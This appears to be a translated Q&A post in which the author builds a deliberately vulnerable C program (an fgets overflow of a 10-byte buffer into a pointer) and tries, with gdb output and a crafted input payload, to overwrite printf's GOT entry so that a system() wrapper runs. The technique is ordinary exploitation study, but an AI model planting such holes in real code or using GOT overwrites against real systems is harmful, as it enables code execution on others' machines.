GOT не отменяет - PullRequest
       13

GOT не отменяет

0 голосов
/ 25 мая 2019

Я пытаюсь переопределить запись GOT, чтобы при вызове printf вместо system (callme ниже).

// gcc source.c -no-pie -fno-pic -fno-stack-protector -g
#include <stdio.h>
#include <stdlib.h>

void callme(char *p) {
    system(p);
}

int main(int argc, char **argv)
{
        char *pointer = NULL;
        char array[10];

        pointer = array;

        fgets(pointer, 18, stdin);
        printf("p contains %s at %p\n", pointer, &pointer);
        fgets(pointer, 8, stdin);
        printf("p contains %s at %p\n", pointer, &pointer);

        return EXIT_SUCCESS;
}

Моя идея написать 10 случайных символов и адрес printf @ plt в первом fgets, адрес callme во втором.

gef➤  p &pointer
$1 = (char **) 0x7fffffffdea8
gef➤  p &array
$2 = (char (*)[10]) 0x7fffffffde9e
gef➤  p (0x7fffffffde9e+10)
$3 = 0x7fffffffdea8

Чтобы попробовать это, я просто собираюсь переопределить полученное с помощью некоторых А.

gef➤  r < <(printf "%010d\x20\x10\x60\x00\x00\x00\x00\x00" 0) <(perl -e "print 'A'x8")

где 0x061020 - адрес местоположения в полученном.

Перед вторым fgets,

gef➤  x/g pointer
0x601020:   0x7ffff7a48e80
gef➤  x/i 0x7ffff7a48e80
   0x7ffff7a48e80 <__printf>:   sub    rsp,0xd8

что нормально, тогда *pointer не меняет значение, и я не пишу полученному. Я ожидаю, что "A" * 8 в get и следующий вызов printf к SIGSEGV, но он работает нормально.

...